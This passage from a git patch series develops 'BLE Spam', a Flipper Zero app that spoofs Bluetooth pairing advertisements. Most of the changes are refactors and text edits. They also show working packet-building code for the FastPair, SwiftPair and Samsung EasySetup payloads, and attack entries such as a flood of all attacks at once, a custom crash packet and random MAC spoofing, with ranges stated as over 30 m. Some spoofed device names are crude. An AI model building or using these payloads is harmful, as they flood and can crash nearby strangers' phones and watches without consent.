SceneManagerEvent event) { +bool scene_continuity_na_action_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } -void scene_continuity_na_action_type_on_exit(void* _ctx) { +void scene_continuity_na_action_on_exit(void* _ctx) { UNUSED(_ctx); } -static void na_action_type_custom_callback(void* _ctx) { +static void na_action_custom_callback(void* _ctx) { Ctx* ctx = _ctx; scene_manager_previous_scene(ctx->scene_manager); scene_manager_previous_scene(ctx->scene_manager); } -void scene_continuity_na_action_type_custom_on_enter(void* _ctx) { +void scene_continuity_na_action_custom_on_enter(void* _ctx) { Ctx* ctx = _ctx; ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; ByteInput* byte_input = ctx->byte_input; byte_input_set_header_text(byte_input, "Enter custom Action Type"); - ctx->byte_store[0] = (cfg->data.nearby_action.type >> 0x00) & 0xFF; + ctx->byte_store[0] = (cfg->data.nearby_action.action >> 0x00) & 0xFF; byte_input_set_result_callback( - byte_input, na_action_type_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1); + byte_input, na_action_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } -bool scene_continuity_na_action_type_custom_on_event(void* _ctx, SceneManagerEvent event) { +bool scene_continuity_na_action_custom_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } -void scene_continuity_na_action_type_custom_on_exit(void* _ctx) { +void scene_continuity_na_action_custom_on_exit(void* _ctx) { Ctx* ctx = _ctx; ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; - cfg->data.nearby_action.type = (ctx->byte_store[0] << 0x00); + cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00); } static void na_flags_callback(void* _ctx) { diff --git a/applications/external/ble_spam/protocols/continuity.h b/applications/external/ble_spam/protocols/continuity.h index 54f568195..cd505fc08 100644 --- a/applications/external/ble_spam/protocols/continuity.h +++ b/applications/external/ble_spam/protocols/continuity.h @@ -16,18 +16,18 @@ typedef enum { ContinuityTypeNearbyInfo = 0x10, ContinuityTypeCustomCrash, - ContinuityTypeCount + ContinuityTypeCOUNT } ContinuityType; typedef struct { ContinuityType type; union { struct { - uint16_t model_id; + uint16_t model; uint8_t prefix; } proximity_pair; struct { - uint8_t type; + uint8_t action; uint8_t flags; } nearby_action; } data; diff --git a/applications/external/ble_spam/protocols/continuity_scenes.h b/applications/external/ble_spam/protocols/continuity_scenes.h index 6588932a7..f41c96cb4 100644 --- a/applications/external/ble_spam/protocols/continuity_scenes.h +++ b/applications/external/ble_spam/protocols/continuity_scenes.h @@ -1,7 +1,7 @@ -ADD_SCENE(continuity_pp_model_id, ContinuityPpModelId) -ADD_SCENE(continuity_pp_model_id_custom, ContinuityPpModelIdCustom) +ADD_SCENE(continuity_pp_model, ContinuityPpModel) +ADD_SCENE(continuity_pp_model_custom, ContinuityPpModelCustom) ADD_SCENE(continuity_pp_prefix, ContinuityPpPrefix) ADD_SCENE(continuity_pp_prefix_custom, ContinuityPpPrefixCustom) -ADD_SCENE(continuity_na_action_type, ContinuityNaActionType) -ADD_SCENE(continuity_na_action_type_custom, ContinuityNaActionTypeCustom) +ADD_SCENE(continuity_na_action, ContinuityNaAction) +ADD_SCENE(continuity_na_action_custom, ContinuityNaActionCustom) ADD_SCENE(continuity_na_flags, ContinuityNaFlags) diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index 6744ac005..2e8f6749b 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -5,7 +5,7 @@ // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction const struct { - uint32_t id; + uint32_t value; const char* name; } models[] = { // Genuine devices @@ -40,19 +40,18 @@ const struct { const uint8_t models_count = COUNT_OF(models); static const char* fastpair_get_name(const ProtocolCfg* _cfg) { - const FastpairCfg* cfg = &_cfg->fastpair; - UNUSED(cfg); + UNUSED(_cfg); return "FastPair"; } static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { const FastpairCfg* cfg = _cfg ? &_cfg->fastpair : NULL; - uint32_t model_id; - if(cfg && cfg->model_id != 0x000000) { - model_id = cfg->model_id; + uint32_t model; + if(cfg && cfg->model != 0x000000) { + model = cfg->model; } else { - model_id = models[rand() % models_count].id; + model = models[rand() % models_count].value; } uint8_t size = 14; @@ -68,9 +67,9 @@ static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const Protoc packet[i++] = 0x16; // AD Type (Service Data) packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair) packet[i++] = 0xFE; // ... - packet[i++] = (model_id >> 0x10) & 0xFF; // Model ID - packet[i++] = (model_id >> 0x08) & 0xFF; // ... - packet[i++] = (model_id >> 0x00) & 0xFF; // ... + packet[i++] = (model >> 0x10) & 0xFF; + packet[i++] = (model >> 0x08) & 0xFF; + packet[i++] = (model >> 0x00) & 0xFF; packet[i++] = 2; // Size packet[i++] = 0x0A; // AD Type (Tx Power Level) @@ -82,27 +81,27 @@ static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const Protoc enum { _ConfigExtraStart = ConfigExtraStart, - ConfigModelId, + ConfigModel, }; static void config_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); switch(index) { - case ConfigModelId: - scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelId); + case ConfigModel: + scene_manager_next_scene(ctx->scene_manager, SceneFastpairModel); default: break; } } -static void model_id_changed(VariableItem* item) { +static void model_changed(VariableItem* item) { FastpairCfg* cfg = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); if(index) { index--; - cfg->model_id = models[index].id; + cfg->model = models[index].value; variable_item_set_current_value_text(item, models[index].name); } else { - cfg->model_id = 0x000000; + cfg->model = 0x000000; variable_item_set_current_value_text(item, "Random"); } } @@ -112,22 +111,22 @@ static void fastpair_extra_config(Ctx* ctx) { VariableItem* item; size_t value_index; - item = variable_item_list_add(list, "Model ID", models_count + 1, model_id_changed, cfg); + item = variable_item_list_add(list, "Model Code", models_count + 1, model_changed, cfg); const char* model_name = NULL; char model_name_buf[9]; - if(cfg->model_id == 0x000000) { + if(cfg->model == 0x000000) { model_name = "Random"; value_index = 0; } else { for(uint8_t i = 0; i < models_count; i++) { - if(cfg->model_id == models[i].id) { + if(cfg->model == models[i].value) { model_name = models[i].name; value_index = i + 1; break; } } if(!model_name) { - snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->model_id); + snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->model); model_name = model_name_buf; value_index = models_count + 1; } @@ -147,24 +146,24 @@ const Protocol protocol_fastpair = { .extra_config = fastpair_extra_config, }; -static void model_id_callback(void* _ctx, uint32_t index) { +static void model_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; switch(index) { case 0: - cfg->model_id = 0x000000; + cfg->model = 0x000000; scene_manager_previous_scene(ctx->scene_manager); break; case models_count + 1: - scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelIdCustom); + scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelCustom); break; default: - cfg->model_id = models[index - 1].id; + cfg->model = models[index - 1].value; scene_manager_previous_scene(ctx->scene_manager); break; } } -void scene_fastpair_model_id_on_enter(void* _ctx) { +void scene_fastpair_model_on_enter(void* _ctx) { Ctx* ctx = _ctx; FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; Submenu* submenu = ctx->submenu; @@ -172,19 +171,19 @@ void scene_fastpair_model_id_on_enter(void* _ctx) { bool found = false; submenu_reset(submenu); - submenu_add_item(submenu, "Random", 0, model_id_callback, ctx); - if(cfg->model_id == 0x000000) { + submenu_add_item(submenu, "Random", 0, model_callback, ctx); + if(cfg->model == 0x000000) { found = true; selected = 0; } for(uint8_t i = 0; i < models_count; i++) { - submenu_add_item(submenu, models[i].name, i + 1, model_id_callback, ctx); - if(!found && cfg->model_id == models[i].id) { + submenu_add_item(submenu, models[i].name, i + 1, model_callback, ctx); + if(!found && cfg->model == models[i].value) { found = true; selected = i + 1; } } - submenu_add_item(submenu, "Custom", models_count + 1, model_id_callback, ctx); + submenu_add_item(submenu, "Custom", models_count + 1, model_callback, ctx); if(!found) { found = true; selected = models_count + 1; @@ -194,44 +193,44 @@ void scene_fastpair_model_id_on_enter(void* _ctx) { view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); } -bool scene_fastpair_model_id_on_event(void* _ctx, SceneManagerEvent event) { +bool scene_fastpair_model_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } -void scene_fastpair_model_id_on_exit(void* _ctx) { +void scene_fastpair_model_on_exit(void* _ctx) { UNUSED(_ctx); } -static void model_id_custom_callback(void* _ctx) { +static void model_custom_callback(void* _ctx) { Ctx* ctx = _ctx; scene_manager_previous_scene(ctx->scene_manager); scene_manager_previous_scene(ctx->scene_manager); } -void scene_fastpair_model_id_custom_on_enter(void* _ctx) { +void scene_fastpair_model_custom_on_enter(void* _ctx) { Ctx* ctx = _ctx; FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; ByteInput* byte_input = ctx->byte_input; - byte_input_set_header_text(byte_input, "Enter custom Model ID"); + byte_input_set_header_text(byte_input, "Enter custom Model Code"); - ctx->byte_store[0] = (cfg->model_id >> 0x10) & 0xFF; - ctx->byte_store[1] = (cfg->model_id >> 0x08) & 0xFF; - ctx->byte_store[2] = (cfg->model_id >> 0x00) & 0xFF; + ctx->byte_store[0] = (cfg->model >> 0x10) & 0xFF; + ctx->byte_store[1] = (cfg->model >> 0x08) & 0xFF; + ctx->byte_store[2] = (cfg->model >> 0x00) & 0xFF; byte_input_set_result_callback( - byte_input, model_id_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3); + byte_input, model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } -bool scene_fastpair_model_id_custom_on_event(void* _ctx, SceneManagerEvent event) { +bool scene_fastpair_model_custom_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } -void scene_fastpair_model_id_custom_on_exit(void* _ctx) { +void scene_fastpair_model_custom_on_exit(void* _ctx) { Ctx* ctx = _ctx; FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair; - cfg->model_id = + cfg->model = (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00); } diff --git a/applications/external/ble_spam/protocols/fastpair.h b/applications/external/ble_spam/protocols/fastpair.h index 9daf43411..c989f3f13 100644 --- a/applications/external/ble_spam/protocols/fastpair.h +++ b/applications/external/ble_spam/protocols/fastpair.h @@ -5,7 +5,7 @@ // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction typedef struct { - uint32_t model_id; + uint32_t model; } FastpairCfg; extern const Protocol protocol_fastpair; diff --git a/applications/external/ble_spam/protocols/fastpair_scenes.h b/applications/external/ble_spam/protocols/fastpair_scenes.h index f2c3e93fd..9bd0fd2ce 100644 --- a/applications/external/ble_spam/protocols/fastpair_scenes.h +++ b/applications/external/ble_spam/protocols/fastpair_scenes.h @@ -1,2 +1,2 @@ -ADD_SCENE(fastpair_model_id, FastpairModelId) -ADD_SCENE(fastpair_model_id_custom, FastpairModelIdCustom) +ADD_SCENE(fastpair_model, FastpairModel) +ADD_SCENE(fastpair_model_custom, FastpairModelCustom) diff --git a/applications/external/ble_spam/protocols/smartthings.c b/applications/external/ble_spam/protocols/smartthings.c index 5b37518d2..956357e00 100644 --- a/applications/external/ble_spam/protocols/smartthings.c +++ b/applications/external/ble_spam/protocols/smartthings.c @@ -44,9 +44,9 @@ const struct { {0x07, "Black Watch4 40mm"}, {0x08, "White Watch4 40mm"}, {0x09, "Gold Watch4 40mm"}, - {0x0a, "French Watch4"}, - {0x0b, "French Watch4 Classic"}, - {0x0c, "Fox Watch5 44mm"}, + {0x0A, "French Watch4"}, + {0x0B, "French Watch4 Classic"}, + {0x0C, "Fox Watch5 44mm"}, {0x11, "Black Watch5 44mm"}, {0x12, "Sapphire Watch5 44mm"}, {0x13, "Purpleish Watch5 40mm"}, @@ -55,16 +55,16 @@ const struct { {0x16, "Gray Watch5 Pro 45mm"}, {0x17, "White Watch5 44mm"}, {0x18, "White & Black Watch5"}, - {0x1b, "Black Watch6 Pink 40mm"}, - {0x1c, "Gold Watch6 Gold 40mm"}, - {0x1d, "Silver Watch6 Cyan 44mm"}, - {0x1e, "Black Watch6 Classic 43mm"}, + {0x1B, "Black Watch6 Pink 40mm"}, + {0x1C, "Gold Watch6 Gold 40mm"}, + {0x1D, "Silver Watch6 Cyan 44mm"}, + {0x1E, "Black Watch6 Classic 43mm"}, {0x20, "Green Goofy"}, - {0x1a, "Fallback Watch"}, + {0x1A, "Fallback Watch"}, }; const uint8_t watch_models_count = COUNT_OF(watch_models); -static const char* type_names[SmartthingsTypeMAX] = { +static const char* type_names[SmartthingsTypeCOUNT] = { [SmartthingsTypeBuds] = "SmartThings Buds", [SmartthingsTypeWatch] = "SmartThings Watch", }; @@ -73,7 +73,7 @@ static const char* smartthings_get_name(const ProtocolCfg* _cfg) { return type_names[cfg->type]; } -static uint8_t packet_sizes[SmartthingsTypeMAX] = { +static uint8_t packet_sizes[SmartthingsTypeCOUNT] = { [SmartthingsTypeBuds] = 31, [SmartthingsTypeWatch] = 15, }; @@ -84,7 +84,7 @@ void smartthings_make_packet(uint8_t* out_size, uint8_t** out_packet, const Prot if(cfg) { type = cfg->type; } else { - type = rand() % SmartthingsTypeMAX; + type = rand() % SmartthingsTypeCOUNT; } uint8_t size = packet_sizes[type]; @@ -121,12 +121,12 @@ void smartthings_make_packet(uint8_t* out_size, uint8_t** out_packet, const Prot packet[i++] = 0x06; packet[i++] = 0x3C; packet[i++] = 0x94; - packet[i++] = 0x8e; + packet[i++] = 0x8E; packet[i++] = 0x00; packet[i++] = 0x00; packet[i++] = 0x00; packet[i++] = 0x00; - packet[i++] = 0xc7; + packet[i++] = 0xC7; packet[i++] = 0x00; packet[i++] = 16; // Size @@ -237,8 +237,8 @@ static void smartthings_extra_config(Ctx* ctx) { switch(cfg->type) { case SmartthingsTypeBuds: { - item = - variable_item_list_add(list, "Model", buds_models_count + 1, buds_model_changed, cfg); + item = variable_item_list_add( + list, "Model Code", buds_models_count + 1, buds_model_changed, cfg); const char* model_name = NULL; char model_name_buf[9]; if(cfg->data.buds.model == 0x000000) { @@ -264,7 +264,7 @@ static void smartthings_extra_config(Ctx* ctx) { } case SmartthingsTypeWatch: { item = variable_item_list_add( - list, "Model", watch_models_count + 1, watch_model_changed, cfg); + list, "Model Code", watch_models_count + 1, watch_model_changed, cfg); const char* model_name = NULL; char model_name_buf[3]; if(cfg->data.watch.model == 0x00) { @@ -368,7 +368,7 @@ void scene_smartthings_buds_model_custom_on_enter(void* _ctx) { SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; ByteInput* byte_input = ctx->byte_input; - byte_input_set_header_text(byte_input, "Enter custom Model"); + byte_input_set_header_text(byte_input, "Enter custom Model Code"); ctx->byte_store[0] = (cfg->data.buds.model >> 0x10) & 0xFF; ctx->byte_store[1] = (cfg->data.buds.model >> 0x08) & 0xFF; @@ -457,7 +457,7 @@ void scene_smartthings_watch_model_custom_on_enter(void* _ctx) { SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; ByteInput* byte_input = ctx->byte_input; - byte_input_set_header_text(byte_input, "Enter custom Model"); + byte_input_set_header_text(byte_input, "Enter custom Model Code"); ctx->byte_store[0] = (cfg->data.watch.model >> 0x00) & 0xFF; diff --git a/applications/external/ble_spam/protocols/smartthings.h b/applications/external/ble_spam/protocols/smartthings.h index 36c3e9e81..bda7a9bb7 100644 --- a/applications/external/ble_spam/protocols/smartthings.h +++ b/applications/external/ble_spam/protocols/smartthings.h @@ -7,7 +7,7 @@ typedef enum { SmartthingsTypeBuds, SmartthingsTypeWatch, - SmartthingsTypeMAX, + SmartthingsTypeCOUNT, } SmartthingsType; typedef struct { diff --git a/applications/external/ble_spam/protocols/swiftpair.c b/applications/external/ble_spam/protocols/swiftpair.c index caa410130..d8280e598 100644 --- a/applications/external/ble_spam/protocols/swiftpair.c +++ b/applications/external/ble_spam/protocols/swiftpair.c @@ -5,17 +5,16 @@ // Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair static const char* swiftpair_get_name(const ProtocolCfg* _cfg) { - const SwiftpairCfg* cfg = &_cfg->swiftpair; - UNUSED(cfg); + UNUSED(_cfg); return "SwiftPair"; } static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { const SwiftpairCfg* cfg = _cfg ? &_cfg->swiftpair : NULL; - const char* display_name; - if(cfg && cfg->display_name[0] != '\0') { - display_name = cfg->display_name; + const char* name; + if(cfg && cfg->name[0] != '\0') { + name = cfg->name; } else { const char* names[] = { "Assquach💦", @@ -25,11 +24,11 @@ static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const Proto "👉👌", "🔵🦷", }; - display_name = names[rand() % COUNT_OF(names)]; + name = names[rand() % COUNT_OF(names)]; } - uint8_t display_name_len = strlen(display_name); + uint8_t name_len = strlen(name); - uint8_t size = 7 + display_name_len; + uint8_t size = 7 + name_len; uint8_t* packet = malloc(size); uint8_t i = 0; @@ -40,8 +39,8 @@ static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const Proto packet[i++] = 0x03; // Microsoft Beacon ID packet[i++] = 0x00; // Microsoft Beacon Sub Scenario packet[i++] = 0x80; // Reserved RSSI Byte - memcpy(&packet[i], display_name, display_name_len); // Display Name - i += display_name_len; + memcpy(&packet[i], name, name_len); + i += name_len; *_size = size; *_packet = packet; @@ -49,14 +48,14 @@ static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const Proto enum { _ConfigExtraStart = ConfigExtraStart, - ConfigDisplayName, + ConfigName, }; static void config_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); switch(index) { - case ConfigDisplayName: - scene_manager_next_scene(ctx->scene_manager, SceneSwiftpairDisplayName); + case ConfigName: + scene_manager_next_scene(ctx->scene_manager, SceneSwiftpairName); default: break; } @@ -67,8 +66,7 @@ static void swiftpair_extra_config(Ctx* ctx) { VariableItem* item; item = variable_item_list_add(list, "Display Name", 0, NULL, NULL); - variable_item_set_current_value_text( - item, cfg->display_name[0] != '\0' ? cfg->display_name : "Random"); + variable_item_set_current_value_text(item, cfg->name[0] != '\0' ? cfg->name : "Random"); variable_item_list_add(list, "Requires enabling SwiftPair", 0, NULL, NULL); @@ -82,11 +80,11 @@ const Protocol protocol_swiftpair = { .extra_config = swiftpair_extra_config, }; -static void display_name_callback(void* _ctx) { +static void name_callback(void* _ctx) { Ctx* ctx = _ctx; scene_manager_previous_scene(ctx->scene_manager); } -void scene_swiftpair_display_name_on_enter(void* _ctx) { +void scene_swiftpair_name_on_enter(void* _ctx) { Ctx* ctx = _ctx; SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair; TextInput* text_input = ctx->text_input; @@ -95,17 +93,17 @@ void scene_swiftpair_display_name_on_enter(void* _ctx) { text_input_set_header_text(text_input, "Leave empty for random"); text_input_set_result_callback( - text_input, display_name_callback, ctx, cfg->display_name, sizeof(cfg->display_name), true); + text_input, name_callback, ctx, cfg->name, sizeof(cfg->name), true); text_input_set_minimum_length(text_input, 0); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewTextInput); } -bool scene_swiftpair_display_name_on_event(void* _ctx, SceneManagerEvent event) { +bool scene_swiftpair_name_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } -void scene_swiftpair_display_name_on_exit(void* _ctx) { +void scene_swiftpair_name_on_exit(void* _ctx) { UNUSED(_ctx); } diff --git a/applications/external/ble_spam/protocols/swiftpair.h b/applications/external/ble_spam/protocols/swiftpair.h index 4ee4241db..e48f604a2 100644 --- a/applications/external/ble_spam/protocols/swiftpair.h +++ b/applications/external/ble_spam/protocols/swiftpair.h @@ -5,7 +5,7 @@ // Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair typedef struct { - char display_name[25]; + char name[25]; } SwiftpairCfg; extern const Protocol protocol_swiftpair; diff --git a/applications/external/ble_spam/protocols/swiftpair_scenes.h b/applications/external/ble_spam/protocols/swiftpair_scenes.h index a31058ca4..040802de3 100644 --- a/applications/external/ble_spam/protocols/swiftpair_scenes.h +++ b/applications/external/ble_spam/protocols/swiftpair_scenes.h @@ -1 +1 @@ -ADD_SCENE(swiftpair_display_name, SwiftpairDisplayName) +ADD_SCENE(swiftpair_name, SwiftpairName) diff --git a/applications/external/ble_spam/scenes/_setup.c b/applications/external/ble_spam/scenes/_setup.c index 511267544..beaa4c4b2 100644 --- a/applications/external/ble_spam/scenes/_setup.c +++ b/applications/external/ble_spam/scenes/_setup.c @@ -26,5 +26,5 @@ const SceneManagerHandlers scene_handlers = { .on_enter_handlers = scene_on_enter_handlers, .on_event_handlers = scene_on_event_handlers, .on_exit_handlers = scene_on_exit_handlers, - .scene_num = SceneCount, + .scene_num = SceneCOUNT, }; diff --git a/applications/external/ble_spam/scenes/_setup.h b/applications/external/ble_spam/scenes/_setup.h index e9f3b44c5..fd665ac0b 100644 --- a/applications/external/ble_spam/scenes/_setup.h +++ b/applications/external/ble_spam/scenes/_setup.h @@ -6,7 +6,7 @@ #define ADD_SCENE(name, id) Scene##id, typedef enum { #include "_scenes.h" - SceneCount, + SceneCOUNT, } Scene; #undef ADD_SCENE From 27a213869a5fb1636b28957c641f6a793d168914 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 21 Oct 2023 05:02:19 +0100 Subject: [PATCH 30/41] BLE Spam tweak some text and better help section --- applications/external/ble_spam/ble_spam.c | 33 ++++++++++++++----- .../external/ble_spam/protocols/continuity.c | 6 ++-- 2 files changed, 28 insertions(+), 11 deletions(-) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index ae5d761c1..fb4d4843f 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -14,7 +14,7 @@ static Attack attacks[] = { { - .title = "+ Kitchen Sink", + .title = "The Kitchen Sink", .text = "Flood all attacks at once", .protocol = NULL, .payload = @@ -75,7 +75,7 @@ static Attack attacks[] = { }, }, { - .title = "Android Device Pair", + .title = "Android Device Connect", .text = "Reboot cooldown, long range", .protocol = &protocol_fastpair, .payload = @@ -192,12 +192,13 @@ static void toggle_adv(State* state) { } } -#define PAGE_MIN (-3) +#define PAGE_MIN (-4) #define PAGE_MAX ATTACKS_COUNT enum { PageHelpApps = PAGE_MIN, PageHelpDelay, PageHelpDistance, + PageHelpInfoConfig, PageStart = 0, PageEnd = ATTACKS_COUNT - 1, PageAboutCredits = PAGE_MAX, @@ -279,9 +280,25 @@ static void draw_callback(Canvas* canvas, void* _ctx) { 48, AlignLeft, AlignTop, - "\e#Distance\e# is limited, attacks\n" - "work under 1 meter but a\n" - "few are marked 'long range'", + "\e#Distance\e# varies greatly:\n" + "some are long range (>30 m)\n" + "others are close range (<1 m)", + false); + break; + case PageHelpInfoConfig: + canvas_set_font(canvas, FontBatteryPercent); + canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help"); + elements_text_box( + canvas, + 4, + 16, + 120, + 48, + AlignLeft, + AlignTop, + "See \e#more info\e# and change\n" + "\e#attack options\e# by holding\n" + "Ok on each attack page", false); break; case PageAboutCredits: @@ -318,11 +335,11 @@ static void draw_callback(Canvas* canvas, void* _ctx) { "%02i/%02i: %s", state->index + 1, ATTACKS_COUNT, - protocol ? protocol->get_name(&payload->cfg) : "Everything"); + protocol ? protocol->get_name(&payload->cfg) : "Everything AND"); canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str); canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 4, 32, attack->title); + canvas_draw_str(canvas, 4, 33, attack->title); canvas_set_font(canvas, FontSecondary); canvas_draw_str(canvas, 4, 46, attack->text); diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c index e253f65c1..4233f0457 100644 --- a/applications/external/ble_spam/protocols/continuity.c +++ b/applications/external/ble_spam/protocols/continuity.c @@ -63,13 +63,13 @@ const uint8_t na_actions_count = COUNT_OF(na_actions); static const char* type_names[ContinuityTypeCOUNT] = { [ContinuityTypeAirDrop] = "AirDrop", - [ContinuityTypeProximityPair] = "Proximity Pair", + [ContinuityTypeProximityPair] = "Continuity Pair", [ContinuityTypeAirplayTarget] = "Airplay Target", [ContinuityTypeHandoff] = "Handoff", [ContinuityTypeTetheringSource] = "Tethering Source", - [ContinuityTypeNearbyAction] = "Nearby Action", + [ContinuityTypeNearbyAction] = "Continuity Action", [ContinuityTypeNearbyInfo] = "Nearby Info", - [ContinuityTypeCustomCrash] = "Custom Packet", + [ContinuityTypeCustomCrash] = "Continuity Custom", }; static const char* continuity_get_name(const ProtocolCfg* _cfg) { const ContinuityCfg* cfg = &_cfg->continuity; From 9e64065f0746b2e6b9f95fc34c206b5ce0ed862e Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 21 Oct 2023 05:06:58 +0100 Subject: [PATCH 31/41] Samsung stuff is actually called EasySetup --- applications/external/ble_spam/ble_spam.c | 12 +- .../external/ble_spam/protocols/_protocols.c | 2 +- .../external/ble_spam/protocols/_protocols.h | 4 +- .../external/ble_spam/protocols/_scenes.h | 2 +- .../protocols/{smartthings.c => easysetup.c} | 104 +++++++++--------- .../protocols/{smartthings.h => easysetup.h} | 14 +-- .../ble_spam/protocols/easysetup_scenes.h | 4 + .../ble_spam/protocols/smartthings_scenes.h | 4 - 8 files changed, 73 insertions(+), 73 deletions(-) rename applications/external/ble_spam/protocols/{smartthings.c => easysetup.c} (80%) rename applications/external/ble_spam/protocols/{smartthings.h => easysetup.h} (61%) create mode 100644 applications/external/ble_spam/protocols/easysetup_scenes.h delete mode 100644 applications/external/ble_spam/protocols/smartthings_scenes.h diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index fb4d4843f..a0977c19e 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -90,15 +90,15 @@ static Attack attacks[] = { { .title = "Samsung Buds Popup", .text = "No cooldown, long range", - .protocol = &protocol_smartthings, + .protocol = &protocol_easysetup, .payload = { .random_mac = true, .cfg = { - .smartthings = + .easysetup = { - .type = SmartthingsTypeBuds, + .type = EasysetupTypeBuds, .data = {}, }, }, @@ -107,15 +107,15 @@ static Attack attacks[] = { { .title = "Samsung Watch Pair", .text = "No cooldown, long range", - .protocol = &protocol_smartthings, + .protocol = &protocol_easysetup, .payload = { .random_mac = true, .cfg = { - .smartthings = + .easysetup = { - .type = SmartthingsTypeWatch, + .type = EasysetupTypeWatch, .data = {}, }, }, diff --git a/applications/external/ble_spam/protocols/_protocols.c b/applications/external/ble_spam/protocols/_protocols.c index f17c2690c..a40b60497 100644 --- a/applications/external/ble_spam/protocols/_protocols.c +++ b/applications/external/ble_spam/protocols/_protocols.c @@ -3,7 +3,7 @@ const Protocol* protocols[] = { &protocol_continuity, &protocol_fastpair, - &protocol_smartthings, + &protocol_easysetup, &protocol_swiftpair, }; diff --git a/applications/external/ble_spam/protocols/_protocols.h b/applications/external/ble_spam/protocols/_protocols.h index a91278e2a..4e646eefb 100644 --- a/applications/external/ble_spam/protocols/_protocols.h +++ b/applications/external/ble_spam/protocols/_protocols.h @@ -2,13 +2,13 @@ #include "continuity.h" #include "fastpair.h" -#include "smartthings.h" +#include "easysetup.h" #include "swiftpair.h" union ProtocolCfg { ContinuityCfg continuity; FastpairCfg fastpair; - SmartthingsCfg smartthings; + EasysetupCfg easysetup; SwiftpairCfg swiftpair; }; diff --git a/applications/external/ble_spam/protocols/_scenes.h b/applications/external/ble_spam/protocols/_scenes.h index c440ab187..83c192d65 100644 --- a/applications/external/ble_spam/protocols/_scenes.h +++ b/applications/external/ble_spam/protocols/_scenes.h @@ -1,4 +1,4 @@ #include "continuity_scenes.h" #include "fastpair_scenes.h" -#include "smartthings_scenes.h" +#include "easysetup_scenes.h" #include "swiftpair_scenes.h" diff --git a/applications/external/ble_spam/protocols/smartthings.c b/applications/external/ble_spam/protocols/easysetup.c similarity index 80% rename from applications/external/ble_spam/protocols/smartthings.c rename to applications/external/ble_spam/protocols/easysetup.c index 956357e00..24046d6c3 100644 --- a/applications/external/ble_spam/protocols/smartthings.c +++ b/applications/external/ble_spam/protocols/easysetup.c @@ -1,4 +1,4 @@ -#include "smartthings.h" +#include "easysetup.h" #include "_protocols.h" // Hacked together by @Willy-JL and @Spooks4576 @@ -64,27 +64,27 @@ const struct { }; const uint8_t watch_models_count = COUNT_OF(watch_models); -static const char* type_names[SmartthingsTypeCOUNT] = { - [SmartthingsTypeBuds] = "SmartThings Buds", - [SmartthingsTypeWatch] = "SmartThings Watch", +static const char* type_names[EasysetupTypeCOUNT] = { + [EasysetupTypeBuds] = "EasySetup Buds", + [EasysetupTypeWatch] = "EasySetup Watch", }; -static const char* smartthings_get_name(const ProtocolCfg* 